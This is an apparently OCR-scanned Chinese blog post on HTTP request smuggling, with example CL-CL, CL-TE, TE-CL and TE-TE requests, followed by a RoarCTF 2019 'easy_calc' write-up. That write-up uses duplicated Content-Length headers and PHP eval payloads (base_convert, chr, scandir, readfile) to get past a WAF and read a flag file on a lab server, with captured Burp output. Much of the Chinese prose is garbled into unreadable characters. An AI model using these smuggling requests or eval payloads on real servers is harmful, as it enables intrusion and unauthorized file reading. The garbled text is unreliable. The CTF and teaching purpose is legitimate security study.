M—EBBHTTPIE R EFA

Qwzf F 2019-11-14 22:55:39 K fi 723 R 1
EER: Web i Web® WIRIE X EHR%: Web
RO RSO R RO E, EE_CC 4.0 BY-SA KRN, H#iEM LECH B mAER,

ASCEERE: https://blog.csdn.net/qq_43625917/article/details/102731391
KA

3BWXLE 1T
TR

ﬂ i

3R EO0TH

23 WX ES5ITH
BT
AXEHR TR X

0x00 & 7F Hi 1|

ZH— K& LS, BE|—EWebf, WRTHTTPIEREM. BFZARETE, NTREHF THTTPHERERME S Z ik,
0x01 HTTP#E RER R4

HTTPERERM R —Fh FIRM BN — N RENH P BEHHTTPIERFFIH 77 R BRR . ERdE U ZeiEh], RER
AT 1R U B I B e FE KM AR .

0x02 Ayt 4 7= A HTTPE R E
R 7 A IR R AR

Hil 3 AR 55 25% (CDN) A i iR 25 2 S BUR AN R 28, SRR X 20 7 e AN S B AR — B0 T S BUR TR 7= 42

RZHHTTPE REFAIRTH K H IR F AHTTPHITE IR M T HF AR 5k Ie @ 1ERINE RO E: Content-Length frk

F Transfer-Encoding #5k.

[F B {3 FH P AP [ 9 77 ¥EBY, Content-Length TG A SRS, WA ANREEERS -8, RSHREL
R4 83NN Content-Length HIKEH R, HULL Transfer-Encoding B. M—KIEW T, KRIERIERS LS5 )G 00 ES RS
W, SEHTCPH##E. XHBEHMKEMRSPHER T —RIERHEITER, MMFBHTTPE RERLIFFE.

RFC2616#% it

SRR v B R AL A A g G Sk 2 B (Transfer-Encoding) 1 9 84 3k (Content-Length) B, A2 28 J5 &
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BT MYEER AT AME Transfer-Encoding Al Content-Length AbERIER, FILIR/DHERESBIELIAKIFER. FHRANRB—F
J7¥%, ¥ Transfer-Encoding BJBRAER SR HI—A chain R, B £REF)f# H content-Length £ RIXTER.

R L

A ARS8 RIE— N HERBH K HTTPIE RIS, BT RS H/OEIT AN, KBRS SRR —ANHTTPER,
RIERKHBE RS T EimiIRm RS 8%, BIREMRSSLSBITEEE, RLIAARFH—8INEFEER, ®THRE—H2, RE
RAMKITER, JZEoNEEHPKERER TRMZ)E, ML THTTPERL .

VRE: AMtAacHIRERIER

X5 EANITZHHTTP 1B B U Keep-Alive&Pipeline & %K.

FE HTTP1.0 ZRIMIEMETH, &P ST —IRHTTPER, FEFRRS[EL—NTCPHEE.

T IR HIWeb T T 2 2 A0 B IRAL AR, ZIREIC— DMK A A, MUEFERHTMLIE, &HJIS. CSS. B EFEMBE, W
BB 2 Bi ikttt MeSBHTTPRS SK A EIFEE K. FREHTTPL.1 F, BINT Keep-Alive M Pipeline XFIMEF
P

Keep-Alive: FEHTTPiE R I —MFRHI1E R K Connection: Keep-Alive , RIS 2%, BWRXRHTTPERE, TNEX
M TepsEs: , JRTEXTAHE BARR S 2RIHTTPE R, HEAX —/NTCPHH:. XHERTERIT —RTCPEFHIRE, 7Ll RS
BT, THBIE, RN REE . X AMEFMETE HTTPL. L R ERIAFF R .

Pipeline(http& 22 4L): http & &R —TULI T A hitpiE KB A F E LR L Re % 5 3 A — A socketH AR, U Hhttp1.15%
WX Fehttp B L. FEIXE, ZFPuwmn] DMBRKE—FERIEE T HTTP 53R, MARESMFRSSF[IMPL, RSB aEERD
ERE, TEEGRNGHIG], KeF KA R SRR, FER R SR I% 45 % P Ui



PUAE, WIMEBRERINARE B pipeline I, 1BR—BHIRS2SERIRAL T X Pipleline M H.

X A 88 2 ¥ C DN INSEE & 9h +h 45 44 1
CDNmiz &

SR

S P EDNS

FG 3 CON
W %5 o

Vi

ik AL E AT

BT 0 E R
ol
Hi{TH] *I_'fujgcguﬂ_
R ]2
E LAMPL
P
RAEEE
LAMP2

0x03 wfa] $4.47 HTTPi% R & FA B ik

HTTPiE R ER I T ¥ Content-Length Fr3kAM Transfer-Encoding Apk & B E BB ANHTTPE R oH 3 3E4T 4B, DU AT 55 AR

Z5-a A0 3t e 95 2 AN R 9 7 AR BRIE SR o S8 AR L3R AR B U0 05 sRBUR T PR AR 25 88 IO AT N -

CL.TE: ®iumfk4s#%fFH Content-Lengthtnsk, T )5 46 Al %5 25 13 F Transfer-Encoding#r 3k »
TE.CL: miui Bk 45 %% 3 F Transfer-Encoding#nk, i J& % AR 4% 3% 1 F Content-Length#z sk«

TE.TE: i AR 55 25 A1 J5 vt R 55 25 8 X K Transfer-Encoding#r sk, 1B &2 AT LUES S5 k31T M 7 RRE R IFSFH A — 6 REB/ATH

BEATALHL.



0x04 HTTPiE >R 3E A B i B9 A i 7 X
CLA K0

T AR R HTTPIE RAA AT a2 b . X B GETIH R4
B v AR 55 4% Fo VP GE TR RIB W ERAE; JFumk 5/ RFGETHEREWFHRE, EXEHRBIMEGETIERF I Content-
Length 3k, ABEATALHE . XA T SBUERER .

35 75 R Bl -

GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: test.com\r\n

\r\n

\r\n 2#THEE, windowsH##4T2 \r\n, unix#=2 \n, macfiz \r

Wi iz

Ao AR 55 2R W B %18 R, AN Content-Length , HIWTIX R —ANEEEMIER.

RIEHRAFWRSGE, FEiRREHBEEE, FHABERY content-Length FATAHE, BT pipeline MIFFTE, iM% B{IMIAN
XRWE T HMER, AR

ﬁg_‘ﬁ\:

GET / HTTP/1.1\r\n

Host: test.com\r\n
%:/l\:

GET / secret HTTP/1.1\r\n
Host: test.com\r\n

BT A& R T 18 SRER o

CL-CL

RFC723031

FERFC7230/%53.3. 3T AU MU, RUE Z RS AU EIRE R P B EHA Content-Length , T HMWEKENFR, FEik[EI400%

=1

TRo

BLUARGBASTRBLIZINTE, B E A AR 5528 A0 5 o R R il AR 45 38 FE W BIR AR SR I, A2 IR [E1 40048 1% .
B2 AR AR S 25 #2238 — A Content-Length FIENTIE RIEAT AL, /G YR b AR 45 25 4% 8 58 — ™ Content-Length FI{E AT
Ab3E

& E KRBl -



POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
El

B it :

o B AR AR 25 2 IR B I B B K N8, K LR BB B R B A B A B A 45 ) i Rt R 55 2%

T )5 3 AR 55 SR IR B B B K R AT . HRBUER7 AN 7RG, EimRSaS AN CEIENGEE, RIGEBN KM, ik
o MR KERXZERR—ANFEa, MHTREWRSHRKE, XN a BT MERK—#2, HEERAERTE.

A0 SR A — AN oA B IR F P AR S5 88 BEAT TR K -

GET /index.html HTTP/1.1\r\n
Host: test.com\r\n

IR 55 3% SR IR 55 88 2 A — R S A TCPH#EH . FrlAIER A KIERBPHER T 76 a MG, 25K SR E
G, EEPRACEEIE RIS

@GET /index.html HTTP/1.1\r\n

Host: test.com\r\n

XEy, APPSR B — R TF aGET request method not found HIIREE . XFERSEI T —IRHTTPEM YT, T HEX IEH H
PTG T M, T EER] LAY R Rl F CSRF 13 7 3.

HR—BHR S B EZEIMEEAENMERLMFERE . ZEAE?
Fir LAAE Z 6 1 BT 5 6
RFC2616}1 75

R IR FE7E Content-Length Al Transfer-Encoding XPAMERLHIER GRS, 78ALH B L Z B Content-Length

B LA R A RN A& X MERIEAEEN, RSF[ AT EREI40055 R FHRS B[AEX BRI LIEE S i HE.
CL-TE

CL-TE, iR X4WBIFER/MERKLIERGER, AwmRERS 2 R content-Length iE3Rk, /GRS HESHE
¢ RFC2616 HIFILE, ZBEHE Content-Length , #b¥ Transfer-Encoding &K k.

chunkf i 34 (sizef¥ 18 B 163 H £ R)

[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = @][\r\n][\r\n]

chunked%i 4
2% . httphi FF content-length A X chunkedZm 5 217
& E R =Bl -


https://blog.csdn.net/yankai0219/article/details/8269922

POST / HTTP/1.1\r\n
Host: test.com\r\n

Connection: keep-alive\r\n
Content-Length: 6\r\n

Transfer-Encoding: chunked\r\n

SR RIE JLURIE Kl AT CAZRAG M B
B G ie :
1T Al 3 ARk 25 88 AL B Content-Length , BTEAIX/MERN TERUER —NZEEKER, ERENKEN6, Ml

HiERBETRERG B RA TGRSR, JFumRG 24 Transfer-Encoding , H'EiEEE]

O\r\n
\r\n

WHNELERBIZERT .
BRI TR a MBEBAE T EHX P, FHTRER. BRNEBZREERE, KIEHIE R G i0R S8 PR T R U T X
g K :

QPOST / HTTP/1.1\r\n

Host: test.com\r\n

R 55 SRTEMENTIN BT AEIREE T, TG RRHTTPIERER .
TE-CL

TE-CL, #tR2LWBIFERMNERLKERCE, AimRERS 24 Transfer-Encoding 1HKk, faumk% 2843 Ccontent-
Length &Kk,
W& E R H

POST / HTTP/1.1\r\n
Host: test.com\r\n

Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n

WHHRE:
AT R 5 28 AL PR Transfer-Encoding , H{HEEF

o\r\n
\r\n




WHRBHLSEHET -
BRI R R B S R R — S MR, RIFH RS FRIS 2, JFRMR 2 A3 Content-Length 3k, IR
RUCHIES 4 03024 T R 5E

w______________________________________________

BN MNMERBELERT . J5HHEHER AR —MER:

@POST / HTTP/1.1\r\n

IR, ERHRHTTPERER.
TE-TE

TE-TE, HRBIFEHRMERLIIEREAR, §1/EMRSHBELE Transfer-Encoding HRK, HELREIM T RFCHIRHE. AT
AEWRGSBARE —M. XA T —MiE, AT RIZFEREFH Transfer—Encoding:ﬁfff%%**%%#%f%ff(ﬁﬂﬁ%4\%z
RHRERNE), MTEHEF—ANREB/ALIE Transfer-Encoding Rk, EFFE Y LIXER cL-TE B TE-CL .

¥ 35 7 R B -

POST / HTTP/1.1\r\n
Host: test.com\r\n

Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n

@POST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n

b1 W
AT AR %5 28 AL PR Transfer-Encoding , H{HEEF

O\r\n
\r\n

BB IXANE RIS 2R YR — N TEIER, REHERE GRS 2R Transfer-encoding Rk, ¥ Transfer-
Encoding RS 7E IR 553w B — A chain R, ‘B4 2 {# Content-Length ERIEER. L

s\ \n

WHREDEET . J5HEIRERIAAR S —MER:




@POST / HTTP/1.1\r\n

Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n

B, ERHTTPERER .
0x05 HTTPi& 3K & FA 2 ik

FEREHTTPERERZ AT, ERFAME —EWebBEMEAHTTPIEREM. MERIH—T
RoarCTF2019-Web: easy_calc

RN E S
FIAT
BATER
==
&

8 SR E FE K love_math &S . EZEM love_math % Smilelfiff I Writeup: E ZElove mathFif#E
ﬁ)\ calc.php , KILT Mu5IEIS

@ Load URL fhttp://nodeS.buuoj.cn:28880/ca|c.php|

$  split URL

» Execute

[] Postdata [ ]| Referrer @ OxHEX » @™ %URL ™ &% BASE64 T Insert string to replace
@z~ AcCookiesw 2 Cssv =g~ @EL~ ONEEE~ [ =ftlhasy Jind Sk AT @ESFAEY Ny
AJETCREFT - Servicesr | miilS Since: New Site Rank: - Site Report Bl [CN] CHINANET HUNAN PROVINCE NETWORK
{?php
error_reporting(0) ;
if(lisset($_GET[ num 1)) {
show_source(_FILE ):

Insert replaci

lelse{
$str = $ GET[ num 1;
$blacklist = [ 7, “\t', "\, “\o',N7, 7, 7, OND, AL, ]
foreach {Sblackllst as S$hlackitem) |
if (preg match( /" . S$blackitem . '/wm', 3$str)) |
die("what are vou want to do?”);
eval (echo ~.$str.”;’);
2

RIERRE T RERS], payload ARERE

P |V Vo W R (=25


https://www.smi1e.top/%25E5%259B%25BD%25E8%25B5%259Blove_math%25E9%25A2%2598%25E8%25A7%25A3/

VA B Writeup &S i P 35 0 7 waf, FESiIwaf. BTl R ESidwaf, MR EMLGBRITIR/E — L2/, SEHE 403, 403 7 !
Pzt RERREE T, SRR KHFLERS S FEMpERMTIF, 7L RS%waf.

2T —Le25F, FrUAABEE#getflag, THE LS rpayloaditid.
A< PHPRR %

scandir() & %t

IR [B14E € H e B S0 B RS

ES

scandir(directory,sorting order,context);

5] i) %3
directory VE, AIEERENER,
sorting_order ik, AEAPINTF. BIAR 0, EREFEHFEF,

WNEZEA SCANDIR_SORT_DESCENDING & 1, MZETMEFEIERHE,
WNEZ = SCANDIR_SORT_NONE, MIEEFHIEINIER,

context ik, AEBFRTWEIMNE. context 2R[EMEFRATAM—E%IA,

base_convert() & %
TEAR RS Z B EF .

1573

base_convert{number,frombase,tobase)

=55 iR

number WE, RigE.

frombase HE | FEEEREE,

tobase WE, SRR,
iBE

BE—MFFE, 84 number L tobase #EIRZESR. number ZERIHHEIR frombase 5, frombase # tobase EHEE
E 236228 (85F27%36) ., 5T THHNEFHEFTS a-z &=, 40 a = 10, b Fm 11 LIE z F= 35,

dechex() B % T+l H A+t .

hex2bin() B #t: -+ BEHIME K 7R/ 5 % ASCIFFF,

readfile() & %t

B — AU

ZRBEAN— A BEANBRHZE . BRI, MR E NSO F T FHRWK, MRE false. &7 L&
@readfile() TR AR E, KEEREIRE LS.



=33

readfile(filename,include_path,context)

8y 3%

filename T, AEEEIIA,

include_path Bligk, MBRBITE include_path REENE, SILIERZSHFEEIRA true,
context ali%k. AEMEAREIAR, Context 2ILAEMIRAY T AN —ERI,
i5268

X context ZEMZ=ZE PHP 5.0.0 &0,

HTTPE . 521 WAF

k=N )



1. HTTPi% RERM WA 2(CL-CLER)

PINCLE B SBT3 R IR %5 #8400, 1 H 88K T postl4s 5 i«

Burp Project Intruder Repeater Window Help

! Burp Suite Professional v2.1 - Temporary Project - licensed to Larry Lau

[ Dashboard I Target | P Intruder Tﬂe‘ueaier T Sequencer T Decoder T Comparer I Extender T Project options ]’ User options. ]

{ Go J Cancel l?J > |

Request

Raw | Params | Headers | Hex

Target: http:inode3.buuoj.cn:28345 / @

Response

Raw | Headers | Hex | HTML | Render

POST icale php?rum=phpinfol) HTTRM 1

Host: node3 buuci.cn 28345

User-Agent: Mozila/s.0 (Windows NT 10.0; WOWES, rv:48.0) Gecko/20100101 Firefox/48.0
Accept:

Accept-Language: zh-CN zh;g=0.8 gn-US;g=05 en,g=0.3
Accept-Encoding: gzip, deflate

DNT: 1

M-Requested-With: XMLHttpReqguest

Referer: hitp:inode3 buuoj.cn: 28345/

X-Forwarded-For: 8.5.8.8

Connection: close

Contert-Length: 5

Contert-Length: S

num=1

o L

Done

e

-
¥

0 matches

T1.0.30-0ubuntud. 16.041</h1= 'y
<hed=<irs

=hahle=

<table>

<tr=<id class="e">System <itd><id class="v">Linux 27cf9984d959 4.15.0-52-generic #56-Ubuntu SMP Tue
Jun 4 22:49:08 UTC 2019 x86_64 <fd><tr=

<tr=<td class="g"-Server APl <id=<td class="v"=Apache 2.0 Handler =fc=<fr=

<tr=<td class: =Virtual Directory Support <td=<td class="v"=disabled <td=<fr=

<tr=<td class="e">Configuration File (php.ini) Path <fc><td class="v"=/etc/iphp/T.0/apache? <ftd=<fr>
<tr=<td class: >Loaded Configuration <itd=<td class="v">/etc/php/T.0/apache2/php.ini <Ad=<fr>
<tr=<td class="g">Scan this dir for additional . les <fd=<td class="v"=/etc/iphp/l.0/apache2/conf.d
<hed=<irs

<tr=<td class="e">Additional .ini files parsed =fcl=<tcl

class="v" 2jconf.d 0. ini.
2/conf.d/A0. ini
Jetc/phpT.0/apache2/conf.d10-pdo.ini,
te/php/T.0/apache2/conf.d/20-calendar.ini,

letc/phpiT.0/apache2/conf.d/20-ctype,
jetc/phpiT.0iapache2/conf.d/20-curl

2/conf.d/20 b
latrinhniT Nlanarha?icned A90 5
@ < + > T 0 matches

28,548 bytes | 202 millis

2. HTTPERER MK 1(CL-TERT)

CLMTE B #: S 3T i K I R %5 #8400, T s BH K T postBl 4 )& Ui«

Burp Project Intruder Repeater Window Help

Burp Suite Professional v2.1 - Temporary Project - licensed to Larry_Lau

[ Daszhboard I Target | Proxy | Intruder Tnepaaiar T Sequencer T Decoder T Comparer I Extender T Project options T User options. ]

{TJ Cancel l?J >

Request

Raw | Params | Headers | Hex

Target: httpiinode3.buuoj.cn:28345 / @

Response

Raw | Headers | Hex | HTML | Render

POST icale php?num=phpinfol) HTTRM 1

Host: node3 buuci.cn 28345

User-Agent: Mozilla/is.0 (Wincows NT 10.0; WCWES; rv:48.0) Geckoi20100101 Firefox/48.0
Accept:

Accept-Language: zh-CN zh;g=0.8 gn-US;g=05 en g=0.3
Accept-Encoding: gzip, deflate

DNT: 1

¥-Reguested-With: XMLHttpReguest

Referer: hitp:inode3 buuoj.cn: 283457

X-Forwarded-For: 88 8.8

Connection: close

Content-Length: 13

Transfer-Encoding: chunked

num=1
1]

o JEJGJ

Done

e

-
¥

0 matches

<table> &
<tr=<td clags="g"=System <td=<td class="v"=Linux 2Tcf9984d959 4.15.0-52-generic #6-Ubuntu SMP Tue
Jun 4 22:49:08 UTC 2019 x86_64 <fd><tr=

<tr=<td class="e">Serwver APl =td=><td class="v"=Apache 2.0 Handler =fcl=<fr>

<tr=<td class: =Wirtual Directory Support <id=<td class="v"~disabled <td><fr>

<tr=<td class="g">Configuration File (php.ini) Path <fd=<td class="v"=/etc/iphp/1.0/apache2 <td=<fr>
<tr=<td class: =Loaded Configuration <ftd=<td class="v"=/ete/php/T.0/apache2/php.ini =Ad=<Ar=
<tr=<td clags="g">Scan this dir for additional .| les <fd=<td clazs="v"=/etephp/1.0/apache2/conf.d
el ftr=

<tr=<td class="e">Additional .ini files parsed =fc=<td

class="v"=/etcphp/T.0 he?icorf.dA0 Ind.ini.
teinhnT.0 he2/conf.d10 he.ini
feteiphp/T.0/apache2/conf.dM0-pdo.ini,
php p 2/conf.d/20. .ini,
jetc/php/T.0/apache2/conf.d/20-ctype.ini,
te/iphpiT.0 he2/conf.d/20-curl.

Jete/phpiT.0/apache2/conf.d/20-exif.i
fete/php/T.0/apache2/conf.d/20-fileinf
Jetc/phpiT.0/apache2/conf.d/20-ftp.ini,

Jetc/phpiT.0iapache2/conf.d/20-gettext.ini, -
latrinhnT Nlanarha®icned 90 icame 5
@ < + 3 0 matches

88,577 bytes | 202 milis

HEJUAMIEREBKIBATLL, BMARRKT .

¥y & payloadik 5 Flag




{8 M scandir() &%k « readfile()E# - base convert()Ei#%t « dechex() E# -+ hex2bin() E# (chr()E% )
36t scandir ->10t 161693386291

363 readfile ->101##12146934604002

asciifig / ->163t i 2f->103k #4147

36t #ilf1agg->103 #1125254448 (L HUR B 13 2H)

1. S

BB scandir()E¥ , ZiAiE&Epayloadd 2R B T HISCHFE

scandir() T BAF base_convert ()&% #i&, HREFIH base_convert() REEMHR a~z KIFIFH .

FKANBWERFE /FS, BATE a~z FrLFEZE hex2bin(dechex(47)) XF#i&E 3, dechex() ¥ IE+HEH B A+ 7S HEH
#. hex2bin() E¥t BT ABEHIEKFRFREHRA ASCIF/F. UR, WATULEEMH chr()EH

payload

var_dump(base_convert(61693386291,10,36) (chr(47)))

#var_dump(scandir(/))

I Burp Suite Professional v2.1 - Temporary Project - licensed to Larry_Lau - O X

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options. T User options ]

1. ..
Go

Cance < |v > | Target: http:/inode3.buuoj.cn:28934 f ®

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex HTMLIRender]

POST feale php?num=var_dumplbase_convert(61 693386291 10 36)(chri47 1)) HTTPA A & [2]=> &
Host: node3 buuoj.cn: 28534 F string(10) ".dockerenv"
User-Agent: Mozilla/5.0 (ANindows NT 10.0; WICWES; rv:48.0) Gecko/20100101 Firefox/45.0 [3]==

Accept: ** string(3) "hin"
Accept-Language: zh-CN zh;g=0.8 en-US;g=0.5 en;q=0.3 [4]=>

Accept-Encoding: gzip, deflate string(4) "boot"

DNT: 1 [5]=>

¥-Reguested-With: XMLHttpReqguest string(3) "dev™

Referer: http:iinode3 buuoj.cn: 28934/ [6]=>

¥-Forwarded-For: 8888 string(3) "etc™
Connection: close [T]==

Content-Length: 7 string(5) "Flagg"

Content-Length: 7

num=1
string(3) "Tib"
[10]=>

string(5) "lib64"
[11]=>

string(5) "media™

M1

® [;J [;J LJ Type a search term 0 matches ® I;J [;J [;J Type a search term 0 matches

1,143 bytes | 81 milis

L

=
¥

Done

2. #EHiflag
payload

var_dump(base_convert(2146934604002,10,36) (chr(47).base_convert(25254448,10,36)))

#var _dump(readfile(/flagg))




Burp Suite Professional v2.1 - Temporary Project - licensed to Larry Lau - O X
Burp Project Intruder Repeater Window Help
[ Dashboard ]'Target T Xy T Intruder ]'Hepeate.r T Sequencer T Decoder T Comparer T Extender T Project options T User options ]
1. | ..
Go Cance < |v > | Target: http/node3.buuoj.cn:28934 / ®
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex [ HTML T Render ]
POST feale php?num=var_dump(base_convert(21 46934604002 10,36)(chr(47) base_convert(25254448 10 36))) & HTTPM .1 400 Bad Request 'y
HTTPH A " Date: Sun, 27 Oct 2019 15:04:42 GMT "
Host: node3 buuoj.cn: 28534 Server: Apachei2.4 .18 (Ubuntu)
User-Agent: Mozilla/5.0 (ANindows NT 10.0; WICWES; rv:48.0) Gecko/20100101 Firefox/45.0 Connection: close
Accept: ** Content-Type: texthtml; charset=iso-8859-1
Accept-Language: zh-CN zh;g=0.8 en-US;g=0.5 en;q=0.3
Accept-Encoding: gzip, deflate <IDOCTYPE HTML PUBLIC "“#IETRYDTD HTML 2.04EN">
DNT: 1 <html=<head=
¥-Reguested-With: XMLHttpReqguest <title=400 Bad Request=fitle=
Referer: http:iinode3 buuoj.cn: 28934/ =/head=<body=
¥-Forwarded-For: 8888 <h1=Bad Request=/h1=
Connection: close <p=Your browser sent a request that this server could not understand.<br />
Content-Length: 7 <lp=
Content-Length: 7 <hr=
=address=Apache/2.4.18 (Ubuntu) Server at node3.buuoj.cn Port 28934</address=
num=1 =fhody=<itml=
flag{f5f427 a3i18e32532a}
/ int(43)
.
v v
® < + = Ty 0 matches ® E3 + = T 0 matches
Done 521 bytes | 145 millis

PHP==%F £ fi# ¥ ¥ 1 G2 it WAF
N R Bnum R BE AT, BN FRETLIEMRT .
X B A DAF B php 244 B8 R AT ik 85 bypass:  FI B PHP 244 5 i@ A4 #4:Bypass

PHPRZERKFTE S BB AT RN RSY, FIEBRTEAFRAEN, CoBmEE:
1. MR = A A
2 RHFLE TGN T RIL (BEERD

P BLBRATT BAZEnum 4 St waf


https://www.freebuf.com/articles/web/213359.html

BERZEM num”, TIARTum”s {HEphpfE TR, SEIEEHRES EE, KRRIBERIERIZET, &Lk T HRETFH.
RIEHEAA scandir() B, Sl HAR HHRXHENER.
B, BEEPRBERTHAEXMH, WRE scandir("/") BA / PO T, FrUAEEH chr(«47”) S8t K flagesct

@ Load URL rview-50urce:http:j,"nDde3.buuoj.cn:28934,fcalc.php? num="1;var_dump{scandir(chr(47)))
& split URL

» Execute

[ ] Postdata [ | Referrer ¥ OxHEX ™» &% %URL ™ & BASEG4 ™
@z~ ACookiesv 2 CsSv [xm~ @EE~ @OREEE~ Q=T Jmc Fage ATE~

AMETCRAFT - Services- | =il Since: New Site Rank: - Site Report Hlll [CN] CHINANET HUNAN PR
string(3) “etc”

[71=>
string(5) “flagg”

'8]=> e NG

oz AN M L

G B ERBUXAN AT T . payload:

calc.php? num=1 47 102 49 97 103 103

@l Load URL rht‘tp:,’jnode3.buur:)j.cn:2893é‘r,’~::alc.php? num=1;var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
& split URL

. Execute

[ ] Postdata [ ] Referrer 4 OxHEX » % %URL 3» @ BASE64 I | /nsert string to replace
@z~ Acookiesv pcssy [JxEmy @EA~ @NEEE~ Qe Jimoy Jakr ATEY MESFRAHy Nsmy
AMETCRAFT - Services- | 227779 Since: New Site Rank: - Site Report Bl [CN] CHINANET HUNAN PROVINCE NETWORK

1flag{f5f42725-4118-«. "18e32532a} int(43)
0x06 JiFHEE
1 Kl I 5 SR BC BOA R HTTP2 5 G i R A RS
2. FEZEHE R E AR R LI I TR &k
3. WHTRER KA IR 558217 B A A R BC B KA [Rweb i 55 88 B 1F
4. MIEIELLBMIKIER, FFMIERRERHEE
5. fEBurp Suite', YRAI LA fiRepeaters B EEFBLAT N, BfRIREHK T ARG HFAKIIRE.
6. BT SquidZ KKARE R BAATHIRRN 2 B8 LT I . SRR RRERAEMERIETER, #RxT iR

B &AL
0x07 57 J5 |

XR R T FHRFR-HTTPIE R ER . TMTHTTPERERNEM TR, UL —SPHPEE KM . HTTPERERE Tl
BEXid, RRESB/BIKFEAN—F, MNFUEE.
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